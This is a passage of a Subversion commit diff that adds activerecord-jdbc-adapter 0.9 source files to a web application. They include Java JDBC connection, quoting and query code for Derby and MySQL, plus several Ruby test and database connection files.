+    public static IRubyObject insert_bind(final ThreadContext context, IRubyObject recv, final IRubyObject[] args) throws SQLException {
+        final Ruby runtime = recv.getRuntime();
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                PreparedStatement ps = null;
+                try {
+                    ps = c.prepareStatement(rubyApi.convertToRubyString(args[0]).toString(), Statement.RETURN_GENERATED_KEYS);
+                    setValuesOnPS(ps, runtime, context, args[1], args[2]);
+                    ps.executeUpdate();
+                    return unmarshal_id_result(runtime, ps.getGeneratedKeys());
+                } finally {
+                    try {
+                        ps.close();
+                    } catch (Exception e) {
+                    }
+                }
+            }
+        });
+    }
+
+    /*
+     * sql, values, types, name = nil
+     */
+    @JRubyMethod(name = "update_bind", required = 3, rest = true)
+    public static IRubyObject update_bind(final ThreadContext context, IRubyObject recv, final IRubyObject[] args) throws SQLException {
+        final Ruby runtime = recv.getRuntime();
+        Arity.checkArgumentCount(runtime, args, 3, 4);
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                PreparedStatement ps = null;
+                try {
+                    ps = c.prepareStatement(rubyApi.convertToRubyString(args[0]).toString());
+                    setValuesOnPS(ps, runtime, context, args[1], args[2]);
+                    ps.executeUpdate();
+                } finally {
+                    try {
+                        ps.close();
+                    } catch (Exception e) {
+                    }
+                }
+                return runtime.getNil();
+            }
+        });
+    }
+
+    /*
+     * (is binary?, colname, tablename, primary key, id, value)
+     */
+    @JRubyMethod(name = "write_large_object", required = 6)
+    public static IRubyObject write_large_object(IRubyObject recv, final IRubyObject[] args)
+            throws SQLException, IOException {
+        final Ruby runtime = recv.getRuntime();
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                String sql = "UPDATE " + rubyApi.convertToRubyString(args[2])
+                        + " SET " + rubyApi.convertToRubyString(args[1])
+                        + " = ? WHERE " + rubyApi.convertToRubyString(args[3])
+                        + "=" + rubyApi.convertToRubyString(args[4]);
+                PreparedStatement ps = null;
+                try {
+                    ps = c.prepareStatement(sql);
+                    if (args[0].isTrue()) { // binary
+                        ByteList outp = rubyApi.convertToRubyString(args[5]).getByteList();
+                        ps.setBinaryStream(1, new ByteArrayInputStream(outp.bytes,
+                                outp.begin, outp.realSize), outp.realSize);
+                    } else { // clob
+                        String ss = rubyApi.convertToRubyString(args[5]).getUnicodeValue();
+                        ps.setCharacterStream(1, new StringReader(ss), ss.length());
+                    }
+                    ps.executeUpdate();
+                } finally {
+                    try {
+                        ps.close();
+                    } catch (Exception e) {
+                    }
+                }
+                return runtime.getNil();
+            }
+        });
+    }
+
+    private static Connection getConnection(IRubyObject recv) {
+        return getConnection(recv, false);
+    }
+
+    private static Connection getConnection(IRubyObject recv, boolean error) {
+        Connection conn = (Connection) recv.dataGetStruct();
+        if(error && conn == null) {
+            RubyClass err = recv.getRuntime().getModule("ActiveRecord").getClass("ConnectionNotEstablished");
+            throw new RaiseException(recv.getRuntime(), err, "no connection available", false);
+        }
+        return conn;
+    }
+
+    private static RuntimeException wrap(IRubyObject recv, Throwable exception) {
+        RubyClass err = recv.getRuntime().getModule("ActiveRecord").getClass("ActiveRecordError");
+        return (RuntimeException) new RaiseException(recv.getRuntime(), err, exception.getMessage(), false).initCause(exception);
+    }
+
+    private static ResultSet intoResultSet(IRubyObject inp) {
+        JavaObject jo;
+        if (inp instanceof JavaObject) {
+            jo = (JavaObject) inp;
+        } else {
+            jo = (JavaObject) rubyApi.getInstanceVariable(inp, "@java_object");
+        }
+        return (ResultSet) jo.getValue();
+    }
+
+    private static boolean isConnectionBroken(IRubyObject recv, Connection c) {
+        try {
+            IRubyObject alive = config_value(recv, "connection_alive_sql");
+            if (select_p(recv, alive).isTrue()) {
+                String connectionSQL = rubyApi.convertToRubyString(alive).toString();
+                Statement s = c.createStatement();
+                try {
+                    s.execute(connectionSQL);
+                } finally {
+                    try { s.close(); } catch (SQLException ignored) {}
+                }
+                return false;
+            } else {
+                return !c.isClosed();
+            }
+        } catch (SQLException sx) {
+            return true;
+        }
+    }
+
+    private static IRubyObject setConnection(IRubyObject recv, Connection c) {
+        Connection prev = getConnection(recv);
+        if (prev != null) {
+            try {
+                prev.close();
+            } catch(Exception e) {}
+        }
+        IRubyObject rubyconn = recv.getRuntime().getNil();
+        if (c != null) {
+            rubyconn = wrappedConnection(recv,c);
+        }
+        rubyApi.setInstanceVariable(recv, "@connection", rubyconn);
+        recv.dataWrapStruct(c);
+        return recv;
+    }
+
+    private static IRubyObject wrappedConnection(IRubyObject recv, Connection c) {
+        return Java.java_to_ruby(recv, JavaObject.wrap(recv.getRuntime(), c), Block.NULL_BLOCK);
+    }
+
+    private static JdbcConnectionFactory getConnectionFactory(IRubyObject recv) throws RaiseException {
+        IRubyObject connection_factory = rubyApi.getInstanceVariable(recv, "@connection_factory");
+        JdbcConnectionFactory factory = null;
+        try {
+            factory = (JdbcConnectionFactory) ((JavaObject) rubyApi.getInstanceVariable(connection_factory, "@java_object")).getValue();
+        } catch (Exception e) {
+            factory = null;
+        }
+        if (factory == null) {
+            throw recv.getRuntime().newRuntimeError("@connection_factory not set properly");
+        }
+        return factory;
+    }
+
+    private static IRubyObject config_value(IRubyObject recv, String key) {
+        Ruby runtime = recv.getRuntime();
+        IRubyObject config_hash = rubyApi.getInstanceVariable(recv, "@config");
+        return rubyApi.callMethod(config_hash, "[]", runtime.newSymbol(key));
+    }
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcConnectionFactory.java
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcConnectionFactory.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcConnectionFactory.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+/***** BEGIN LICENSE BLOCK *****
+ * Copyright (c) 2006-2007 Nick Sieger <nick at nicksieger.com>
+ * Copyright (c) 2006-2007 Ola Bini <ola.bini at gmail.com>
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
+ * the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ ***** END LICENSE BLOCK *****/
+
+package jdbc_adapter;
+
+import java.sql.Connection;
+
+/**
+ * Interface to be implemented in Ruby for retrieving a new connection
+ *  
+ * @author nicksieger
+ */
+public interface JdbcConnectionFactory {
+    Connection newConnection();
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcDerbySpec.java
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcDerbySpec.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcDerbySpec.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,325 @@
+/***** BEGIN LICENSE BLOCK *****
+ * Copyright (c) 2006-2007 Nick Sieger <nick at nicksieger.com>
+ * Copyright (c) 2006-2007 Ola Bini <ola.bini at gmail.com>
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
+ * the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ ***** END LICENSE BLOCK *****/
+
+package jdbc_adapter;
+
+import org.jruby.Ruby;
+import org.jruby.RubyModule;
+import org.jruby.RubyString;
+import org.jruby.RubyFloat;
+import org.jruby.RubyFixnum;
+import org.jruby.RubyBignum;
+import org.jruby.RubyBoolean;
+import org.jruby.RubyBigDecimal;
+import org.jruby.RubyRange;
+import org.jruby.RubyNumeric;
+
+import org.jruby.runtime.builtin.IRubyObject;
+
+import org.jruby.util.ByteList;
+
+import java.sql.SQLException;
+import org.jruby.RubyObjectAdapter;
+import org.jruby.anno.JRubyMethod;
+import org.jruby.runtime.ThreadContext;
+
+public class JdbcDerbySpec {
+    private static RubyObjectAdapter rubyApi;
+    public static void load(RubyModule jdbcSpec, RubyObjectAdapter adapter) {
+        RubyModule derby = jdbcSpec.defineModuleUnder("Derby");
+        derby.defineAnnotatedMethods(JdbcDerbySpec.class);
+        RubyModule column = derby.defineModuleUnder("Column");
+        column.defineAnnotatedMethods(Column.class);
+        rubyApi = adapter;
+    }
+
+    public static class Column {
+        @JRubyMethod(name = "type_cast", required = 1)
+        public static IRubyObject type_cast(IRubyObject recv, IRubyObject value) {
+            Ruby runtime = recv.getRuntime();
+
+            if (value.isNil() || ((value instanceof RubyString) && value.toString().trim().equalsIgnoreCase("null"))) {
+                return runtime.getNil();
+            }
+
+            String type = rubyApi.getInstanceVariable(recv, "@type").toString();
+
+            switch (type.charAt(0)) {
+                case 's': //string
+                    return value;
+                case 't': //text, timestamp, time
+                    if (type.equals("text")) {
+                        return value;
+                    } else {
+                        return rubyApi.callMethod(recv, "cast_to_time", value);
+                    }
+                case 'i': //integer
+                case 'p': //primary key
+                    if (value.respondsTo("to_i")) {
+                        return rubyApi.callMethod(value, "to_i");
+                    } else {
+                        return runtime.newFixnum(value.isTrue() ? 1 : 0);
+                    }
+                case 'd': //decimal, datetime, date
+                    if (type.equals("datetime")) {
+                        return rubyApi.callMethod(recv, "cast_to_date_or_time", value);
+                    } else if (type.equals("date")) {
+                        return rubyApi.callMethod(recv.getMetaClass(), "string_to_date", value);
+                    } else {
+                        return rubyApi.callMethod(recv.getMetaClass(), "value_to_decimal", value);
+                    }
+                case 'f': //float
+                    return rubyApi.callMethod(value, "to_f");
+                case 'b': //binary, boolean
+                    if (type.equals("binary")) {
+                        return rubyApi.callMethod(recv, "value_to_binary", value);
+                    } else {
+                        return rubyApi.callMethod(recv.getMetaClass(), "value_to_boolean", value);
+                    }
+            }
+            return value;
+        }
+    }
+
+    @JRubyMethod(name = "quote", required = 1, optional = 1)
+    public static IRubyObject quote(ThreadContext context, IRubyObject recv, IRubyObject[] args) {
+        Ruby runtime = recv.getRuntime();
+        IRubyObject value = args[0];
+        if (args.length > 1) {
+            IRubyObject col = args[1];
+            IRubyObject type = rubyApi.callMethod(col, "type");
+            if (value instanceof RubyString) {
+                if (type == runtime.newSymbol("string")) {
+                    return quote_string_with_surround(runtime, "'", (RubyString)value, "'");
+                } else if (type == runtime.newSymbol("text")) {
+                    return quote_string_with_surround(runtime, "CAST('", (RubyString)value, "' AS CLOB)");
+                } else if (type == runtime.newSymbol("binary")) {
+                    return hexquote_string_with_surround(runtime, "CAST('", (RubyString)value, "' AS BLOB)");
+                } else {
+                    // column type :integer or other numeric or date version
+                    if (only_digits((RubyString)value)) {
+                        return value;
+                    } else {
+                        return super_quote(context, recv, runtime, value, col);
+                    }
+                }
+            } else if ((value instanceof RubyFloat) || (value instanceof RubyFixnum) || (value instanceof RubyBignum)) {
+                if (type == runtime.newSymbol("string")) {
+                    return quote_string_with_surround(runtime, "'", RubyString.objAsString(context, value), "'");
+                }
+            }
+        } 
+        return super_quote(context, recv, runtime, value, runtime.getNil());
+    }
+
+    private final static ByteList NULL = new ByteList("NULL".getBytes());
+
+    private static IRubyObject super_quote(ThreadContext context, IRubyObject recv, Ruby runtime, IRubyObject value, IRubyObject col) {
+        if (value.respondsTo("quoted_id")) {
+            return rubyApi.callMethod(value, "quoted_id");
+        }
+        
+        IRubyObject type = (col.isNil()) ? col : rubyApi.callMethod(col, "type");
+        RubyModule multibyteChars = (RubyModule) 
+                ((RubyModule) ((RubyModule) runtime.getModule("ActiveSupport")).getConstant("Multibyte")).getConstantAt("Chars");
+        if (value instanceof RubyString || rubyApi.isKindOf(value, multibyteChars)) {
+            RubyString svalue = RubyString.objAsString(context, value);
+            if (type == runtime.newSymbol("binary") && col.getType().respondsTo("string_to_binary")) {
+                return quote_string_with_surround(runtime, "'", (RubyString)(rubyApi.callMethod(col.getType(), "string_to_binary", svalue)), "'"); 
+            } else if (type == runtime.newSymbol("integer") || type == runtime.newSymbol("float")) {
+                return RubyString.objAsString(context, ((type == runtime.newSymbol("integer")) ?
+                                               rubyApi.callMethod(svalue, "to_i") : 
+                                               rubyApi.callMethod(svalue, "to_f")));
+            } else {
+                return quote_string_with_surround(runtime, "'", svalue, "'"); 
+            }
+        } else if (value.isNil()) {
+            return runtime.newStringShared(NULL);
+        } else if (value instanceof RubyBoolean) {
+            return (value.isTrue() ? 
+                    (type == runtime.newSymbol(":integer")) ? runtime.newString("1") : rubyApi.callMethod(recv, "quoted_true") :
+                    (type == runtime.newSymbol(":integer")) ? runtime.newString("0") : rubyApi.callMethod(recv, "quoted_false"));
+        } else if((value instanceof RubyFloat) || (value instanceof RubyFixnum) || (value instanceof RubyBignum)) {
+            return RubyString.objAsString(context, value);
+        } else if(value instanceof RubyBigDecimal) {
+            return rubyApi.callMethod(value, "to_s", runtime.newString("F"));
+        } else if (rubyApi.isKindOf(value, runtime.getModule("Date"))) {
+            return quote_string_with_surround(runtime, "'", RubyString.objAsString(context, value), "'");
+        } else if (rubyApi.isKindOf(value, runtime.getModule("Time")) || rubyApi.isKindOf(value, runtime.getModule("DateTime"))) {
+            return quote_string_with_surround(runtime, "'", (RubyString)(rubyApi.callMethod(recv, "quoted_date", value)), "'"); 
+        } else {
+            return quote_string_with_surround(runtime, "'", (RubyString)(rubyApi.callMethod(value, "to_yaml")), "'");
+        }
+    }
+
+    private final static ByteList TWO_SINGLE = new ByteList(new byte[]{'\'','\''});
+
+    private static IRubyObject quote_string_with_surround(Ruby runtime, String before, RubyString string, String after) {
+        ByteList input = string.getByteList();
+        ByteList output = new ByteList(before.getBytes());
+        for(int i = input.begin; i< input.begin + input.realSize; i++) {
+            switch(input.bytes[i]) {
+            case '\'':
+                output.append(input.bytes[i]);
+                //FALLTHROUGH
+            default:
+                output.append(input.bytes[i]);
+            }
+
+        }
+
+        output.append(after.getBytes());
+
+        return runtime.newStringShared(output);
+    }
+
+    private final static byte[] HEX = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'};
+
+    private static IRubyObject hexquote_string_with_surround(Ruby runtime, String before, RubyString string, String after) {
+        ByteList input = string.getByteList();
+        ByteList output = new ByteList(before.getBytes());
+        for(int i = input.begin; i< input.begin + input.realSize; i++) {
+            byte b1 = input.bytes[i];
+            byte higher = HEX[(((char)b1)>>4)%16];
+            byte lower = HEX[((char)b1)%16];
+            if(b1 == '\'') {
+                output.append(higher);
+                output.append(lower);
+            }
+            output.append(higher);
+            output.append(lower);
+        }
+
+        output.append(after.getBytes());
+        return runtime.newStringShared(output);
+    }
+
+    private static boolean only_digits(RubyString inp) {
+        ByteList input = inp.getByteList();
+        for(int i = input.begin; i< input.begin + input.realSize; i++) {
+            if(input.bytes[i] < '0' || input.bytes[i] > '9') {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    @JRubyMethod(name = "quote_string", required = 1)
+    public static IRubyObject quote_string(IRubyObject recv, IRubyObject string) {
+        boolean replacementFound = false;
+        ByteList bl = ((RubyString) string).getByteList();
+        
+        for(int i = bl.begin; i < bl.begin + bl.realSize; i++) {
+            switch (bl.bytes[i]) {
+            case '\'': break;
+            default: continue;
+            }
+            
+            // On first replacement allocate a different bytelist so we don't manip original 
+            if(!replacementFound) {
+                i-= bl.begin;
+                bl = new ByteList(bl);
+                replacementFound = true;
+            }
+
+            bl.replace(i, 1, TWO_SINGLE);
+            i+=1;
+        }
+        if(replacementFound) {
+            return recv.getRuntime().newStringShared(bl);
+        } else {
+            return string;
+        }
+    }
+
+    @JRubyMethod(name = "select_all", rest = true)
+    public static IRubyObject select_all(IRubyObject recv, IRubyObject[] args) {
+        return rubyApi.callMethod(recv, "execute", args);
+    }
+
+    @JRubyMethod(name = "select_one", rest = true)
+    public static IRubyObject select_one(IRubyObject recv, IRubyObject[] args) {
+        IRubyObject limit = rubyApi.getInstanceVariable(recv, "@limit");
+        if (limit == null || limit.isNil()) {
+            rubyApi.setInstanceVariable(recv, "@limit", recv.getRuntime().newFixnum(1));
+        }
+        try {
+            IRubyObject result = rubyApi.callMethod(recv, "execute", args);
+            return rubyApi.callMethod(result, "first");
+        } finally {
+            rubyApi.setInstanceVariable(recv, "@limit", recv.getRuntime().getNil());
+        }
+    }
+
+    @JRubyMethod(name = "add_limit_offset!", required = 2)
+    public static IRubyObject add_limit_offset(IRubyObject recv, IRubyObject sql, IRubyObject options) {
+        IRubyObject limit = rubyApi.callMethod(options, "[]", recv.getRuntime().newSymbol("limit"));
+        rubyApi.setInstanceVariable(recv, "@limit",limit);
+        IRubyObject offset = rubyApi.callMethod(options, "[]", recv.getRuntime().newSymbol("offset"));
+        return rubyApi.setInstanceVariable(recv, "@offset",offset);
+    }
+
+    @JRubyMethod(name = "_execute", required = 1, optional = 1)
+    public static IRubyObject _execute(ThreadContext context, IRubyObject recv, IRubyObject[] args) throws SQLException, java.io.IOException {
+        Ruby runtime = recv.getRuntime();
+        try {
+            IRubyObject conn = rubyApi.getInstanceVariable(recv, "@connection");
+            String sql = args[0].toString().trim().toLowerCase();
+            if (sql.charAt(0) == '(') {
+                sql = sql.substring(1).trim();
+            }
+            if (sql.startsWith("insert")) {
+                return JdbcAdapterInternalService.execute_insert(conn, args[0]);
+            } else if (sql.startsWith("select") || sql.startsWith("show")) {
+                IRubyObject offset = rubyApi.getInstanceVariable(recv, "@offset");
+                if(offset == null || offset.isNil()) {
+                    offset = RubyFixnum.zero(runtime);
+                }
+                IRubyObject limit = rubyApi.getInstanceVariable(recv, "@limit");
+                IRubyObject range;
+                IRubyObject max;
+                if (limit == null || limit.isNil() || RubyNumeric.fix2int(limit) == -1) {
+                    range = RubyRange.newRange(runtime, context, offset, runtime.newFixnum(-1), false);
+                    max = RubyFixnum.zero(runtime);
+                } else {
+                    IRubyObject v1 = rubyApi.callMethod(offset, "+", limit);
+                    range = RubyRange.newRange(runtime, context, offset, v1, true);
+                    max = rubyApi.callMethod(v1, "+", RubyFixnum.one(runtime));
+                }
+                IRubyObject result = JdbcAdapterInternalService.execute_query(conn, new IRubyObject[]{args[0], max});
+                IRubyObject ret = rubyApi.callMethod(result, "[]", range);
+                if (ret.isNil()) {
+                    return runtime.newArray();
+                } else {
+                    return ret;
+                }
+            } else {
+                return JdbcAdapterInternalService.execute_update(conn, args[0]);
+            }
+        } finally {
+            rubyApi.setInstanceVariable(recv, "@limit", runtime.getNil());
+            rubyApi.setInstanceVariable(recv, "@offset", runtime.getNil());
+        }
+    }
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcMySQLSpec.java
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcMySQLSpec.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/JdbcMySQLSpec.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,82 @@
+/***** BEGIN LICENSE BLOCK *****
+ * Copyright (c) 2006-2007 Nick Sieger <nick at nicksieger.com>
+ * Copyright (c) 2006-2007 Ola Bini <ola.bini at gmail.com>
+ * 
+ * Permission is hereby granted, free of charge, to any person obtaining
+ * a copy of this software and associated documentation files (the
+ * "Software"), to deal in the Software without restriction, including
+ * without limitation the rights to use, copy, modify, merge, publish,
+ * distribute, sublicense, and/or sell copies of the Software, and to
+ * permit persons to whom the Software is furnished to do so, subject to
+ * the following conditions:
+ * 
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ ***** END LICENSE BLOCK *****/
+
+package jdbc_adapter;
+
+import org.jruby.Ruby;
+import org.jruby.RubyModule;
+import org.jruby.RubyString;
+
+import org.jruby.anno.JRubyMethod;
+import org.jruby.runtime.builtin.IRubyObject;
+
+import org.jruby.util.ByteList;
+
+public class JdbcMySQLSpec {
+    public static void load(RubyModule jdbcSpec) {
+        RubyModule mysql = jdbcSpec.defineModuleUnder("MySQL");
+        mysql.defineAnnotatedMethods(JdbcMySQLSpec.class);
+    }
+
+    private final static ByteList ZERO = new ByteList(new byte[]{'\\','0'});
+    private final static ByteList NEWLINE = new ByteList(new byte[]{'\\','n'});
+    private final static ByteList CARRIAGE = new ByteList(new byte[]{'\\','r'});
+    private final static ByteList ZED = new ByteList(new byte[]{'\\','Z'});
+    private final static ByteList DBL = new ByteList(new byte[]{'\\','"'});
+    private final static ByteList SINGLE = new ByteList(new byte[]{'\\','\''});
+    private final static ByteList ESCAPE = new ByteList(new byte[]{'\\','\\'});
+
+    @JRubyMethod(name = "quote_string", required = 1)
+    public static IRubyObject quote_string(IRubyObject recv, IRubyObject string) {
+        ByteList bl = ((RubyString) string).getByteList();
+        ByteList blNew = new ByteList();
+        int startOfExtend = bl.begin;
+        
+        for(int i = bl.begin; i < bl.begin + bl.realSize; i++) {
+            ByteList rep = null;
+            switch (bl.bytes[i]) {
+            case 0: rep = ZERO; break;
+            case '\n': rep = NEWLINE; break;
+            case '\r': rep = CARRIAGE; break;
+            case 26: rep = ZED; break;
+            case '"': rep = DBL; break;
+            case '\'': rep = SINGLE; break;
+            case '\\': rep = ESCAPE; break;
+            default: continue;
+            }
+            if(i > startOfExtend)
+              blNew.append(bl, startOfExtend-bl.begin, i-startOfExtend);
+            blNew.append(rep, 0, 2);
+            startOfExtend = i+1;
+        }
+        // Nothing changed, can return original
+        if (startOfExtend == bl.begin) {
+          return string;
+        }
+        if (bl.begin + bl.realSize > startOfExtend)
+          blNew.append(bl, startOfExtend-bl.begin, bl.begin + bl.realSize - startOfExtend);
+
+        return recv.getRuntime().newStringShared(blNew);
+    }
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/SQLBlock.java
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/SQLBlock.java	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/src/java/jdbc_adapter/SQLBlock.java	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,18 @@
+/*
+ * To change this template, choose Tools | Templates
+ * and open the template in the editor.
+ */
+
+package jdbc_adapter;
+
+import java.sql.Connection;
+import java.sql.SQLException;
+import org.jruby.runtime.builtin.IRubyObject;
+
+/**
+ *
+ * @author nicksieger
+ */
+public interface SQLBlock {
+    IRubyObject call(Connection c) throws SQLException;
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connection_adapters/type_conversion_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connection_adapters/type_conversion_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connection_adapters/type_conversion_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,31 @@
+require 'java'
+require 'models/data_types'
+require 'active_record/connection_adapters/jdbc_adapter'
+require 'db/derby'
+require 'test/unit'
+
+JInteger = java.lang.Integer
+
+class TypeConversionTest < Test::Unit::TestCase
+  TEST_TIME = Time.at(1169964202)
+  def setup
+    DbTypeMigration.up  
+    DbType.create(
+      :sample_timestamp => TEST_TIME,
+      :sample_decimal => JInteger::MAX_VALUE + 1)
+  end
+  
+  def teardown
+    DbTypeMigration.down
+  end
+  
+  def test_timestamp
+    types = DbType.find(:first)
+    assert_equal TEST_TIME, types.sample_timestamp.getutc
+  end
+  
+  def test_decimal
+    types = DbType.find(:first)
+    assert_equal((JInteger::MAX_VALUE + 1), types.sample_decimal)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connections/native_jdbc_mysql/connection.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connections/native_jdbc_mysql/connection.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/activerecord/connections/native_jdbc_mysql/connection.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+print "Using native JDBC (MySQL)\n"
+require_dependency 'fixtures/course'
+require 'logger'
+
+RAILS_CONNECTION_ADAPTERS << 'jdbc'
+require "active_record/connection_adapters/jdbc_adapter"
+
+ActiveRecord::Base.logger = Logger.new("debug.log")
+
+db1 = 'activerecord_unittest'
+db2 = 'activerecord_unittest2'
+
+ActiveRecord::Base.establish_connection(
+  :adapter  => "jdbc",
+  :driver   => "com.mysql.jdbc.Driver",
+  :url      => "jdbc:mysql://localhost:3306/#{db1}",
+  :username => "rails"
+)
+
+Course.establish_connection(
+  :adapter  => "jdbc",
+  :driver   => "com.mysql.jdbc.Driver",
+  :url      => "jdbc:mysql://localhost:3306/#{db2}",
+  :username => "rails"
+)

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/cachedb_simple_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/cachedb_simple_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/cachedb_simple_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,6 @@
+require 'jdbc_common'
+require 'db/cachedb'
+
+class CacheDBSimpleTest < Test::Unit::TestCase
+  include SimpleTestMethods
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/cachedb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/cachedb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/cachedb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+config = { 
+  :username => '_SYSTEM',
+  :password => 'SYS',
+  :adapter  => 'cachedb',
+  :host     => ENV[ "CACHE_HOST" ] || 'localhost',
+  :database => ENV[ "CACHE_NAMESPACE" ] || 'weblog_development'
+}
+
+ActiveRecord::Base.establish_connection( config )


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/cachedb.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-jdbc-adapter-0.9/test/db/db2.rb
===================================================================
